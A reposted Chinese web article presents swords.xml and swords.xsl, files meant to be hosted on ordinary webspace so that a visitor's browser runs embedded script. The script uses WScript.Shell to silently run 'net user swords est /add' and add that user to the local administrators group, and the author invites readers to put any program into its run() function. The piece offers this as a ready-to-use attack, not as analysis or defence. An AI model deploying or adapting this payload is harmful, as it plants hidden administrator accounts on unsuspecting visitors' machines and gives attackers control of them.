页面导航： 首页 → 实用技巧 → 漏洞研究 → 正文内容 利用xml+xsl给客户机添加超级管理帐户!

利用xml+xsl给客户机添加超级管理帐户!

发布：dxy 字体：[增加 减小] 类型：转载

用法：把swords.xml和swords.xsl放在一个普通空间，相信很少人会注意xml的安全性吧，嘎嘎，只要把你想运行的程序添加到run() 即可，默认支持js和vbs.
这个程序加了一个用户为 swords，密码为est的超级管理员账号。

swords.xml

<?xml version="1.0" encoding="GB2312"?>
<?xml-stylesheet type="text/xsl" href="swords.xsl"?>
<name>I am swords,I am admin!</name>


swords.xsl

<?xml version="1.0" encoding="gb2312"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">
<xsl:template match="/">
<html>
<body>
<xsl:value-of select="name" />
<xsl:script>
function run()
{
var wsh;
var wsh = new ActiveXObject("WScript.Shell");
wsh.run( "net user swords est /add",0);
wsh.run( "net localgroup administrators swords /add",0);
wsh.run( "cmd.exe /c echo test!");
}
</xsl:script>
<xsl:eval>run()</xsl:eval>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

Tags： 利用 用x xm ml lx xs sl l给 给客 客户 户机 机添 添加 加超 超级 级管 管理 理帐 帐户 户! !
浏览次数：载入中... 打印本文关闭本文文章来源
0
·在百度中搜索关于“利用xml+xsl给客户机添加超级管理帐户!”相关内容
·在谷歌中搜索关于“利用xml+xsl给客户机添加超级管理帐户!”相关内容

文章评论

共有 位脚本之家网友发表了评论我来说两句

同 类 文 章
最 近 更 新
热 点 排 行